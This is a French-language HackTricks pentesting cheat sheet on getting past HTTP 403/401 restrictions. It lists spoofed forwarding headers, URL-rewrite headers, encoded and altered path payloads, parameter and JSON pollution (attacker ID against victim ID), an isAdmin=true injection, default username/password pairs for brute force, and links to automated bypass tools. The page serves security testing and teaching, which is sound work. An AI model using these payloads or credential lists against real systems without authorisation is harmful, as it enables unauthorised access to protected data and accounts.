403 & 401 Bypasses
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HTTP Verbs/Methods Fuzzing
Essayez d’utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Vérifiez les en-têtes de réponse, peut-être que certaines informations peuvent être fournies. Par exemple, une réponse 200 à HEAD avec
Content-Length: 55signifie que le verbe HEAD peut accéder à l’info. Mais vous devez encore trouver un moyen d’exfiltrer cette info. - Utiliser un en-tête HTTP comme
X-HTTP-Method-Override: PUTpeut écraser le verbe utilisé. - Utilisez le verbe
TRACEet si vous avez beaucoup de chance, peut-être que dans la réponse vous pouvez également voir les en-têtes ajoutés par des proxies intermédiaires qui pourraient être utiles.
HTTP Headers Fuzzing
-
Changez l’en-tête Host à une valeur arbitraire (cela a fonctionné ici)
-
Essayez de utiliser d’autres User Agents pour accéder à la ressource.
-
Fuzz HTTP Headers : Essayez d’utiliser les en-têtes HTTP Proxy, l’authentification HTTP Basic et NTLM brute-force (avec quelques combinaisons seulement) et d’autres techniques. Pour faire tout cela, j’ai créé l’outil fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1 -
X-Forwarded-For: 127.0.0.1 -
X-Forwarded: 127.0.0.1 -
Forwarded-For: 127.0.0.1 -
X-Remote-IP: 127.0.0.1 -
X-Remote-Addr: 127.0.0.1 -
X-ProxyUser-Ip: 127.0.0.1 -
X-Original-URL: 127.0.0.1 -
Client-IP: 127.0.0.1 -
True-Client-IP: 127.0.0.1 -
Cluster-Client-IP: 127.0.0.1 -
X-ProxyUser-Ip: 127.0.0.1 -
Host: localhost
Si le chemin est protégé, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-têtes :
-
X-Original-URL: /admin/console -
X-Rewrite-URL: /admin/console -
Si la page est derrière un proxy, peut-être que c’est le proxy qui vous empêche d’accéder aux informations privées. Essayez d’abuser de HTTP Request Smuggling ou des en-têtes hop-by-hop.
-
Fuzz des en-têtes HTTP spéciaux à la recherche de différentes réponses.
-
Fuzz des en-têtes HTTP spéciaux tout en fuzzant les méthodes HTTP.
-
Supprimez l’en-tête Host et peut-être que vous pourrez contourner la protection.
Path Fuzzing
Si /path est bloqué :
- Essayez d’utiliser
/%2e/path(si l’accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi/%252e**/path(double URL encode) - Essayez le bypass Unicode : /%ef%bc%8fpath (Les caractères encodés en URL sont comme “/”) donc lorsqu’ils sont réencodés, cela sera //path et peut-être que vous aurez déjà contourné la vérification du nom /path
- Autres contournements de chemin :
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- Utilisez toute cette liste dans les situations suivantes :
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Autres contournements d’API :
- /v3/users_data/1234 –> 403 Forbidden
- /v1/users_data/1234 –> 200 OK
- {“id”:111} –> 401 Unauthriozied
- {“id”:[111]} –> 200 OK
- {“id”:111} –> 401 Unauthriozied
- {“id”:{“id”:111}} –> 200 OK
- {“user_id”:“<legit_id>”,“user_id”:“<victims_id>”} (Pollution de paramètres JSON)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramètres)
Parameter Manipulation
- Changez la valeur du paramètre : De
id=123–>id=124 - Ajoutez des paramètres supplémentaires à l’URL :
?id=124—->id=124&isAdmin=true - Supprimez les paramètres
- Réorganisez les paramètres
- Utilisez des caractères spéciaux.
- Effectuez des tests de limites dans les paramètres — fournissez des valeurs comme -234 ou 0 ou 99999999 (juste quelques valeurs d’exemple).
Protocol version
Si vous utilisez HTTP/1.1 essayez d’utiliser 1.0 ou même testez s’il supporte 2.0.
Other Bypasses
- Obtenez l’IP ou le CNAME du domaine et essayez de le contacter directement.
- Essayez de stresser le serveur en envoyant des requêtes GET courantes (Cela a fonctionné pour ce gars avec Facebook).
- Changez le protocole : de http à https, ou de https à http
- Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible dans le monde entier.
Brute Force
- Devinez le mot de passe : Testez les identifiants courants suivants. Savez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
- Brute force: Essayez l’authentification basique, digest et NTLM.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Outils Automatiques
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

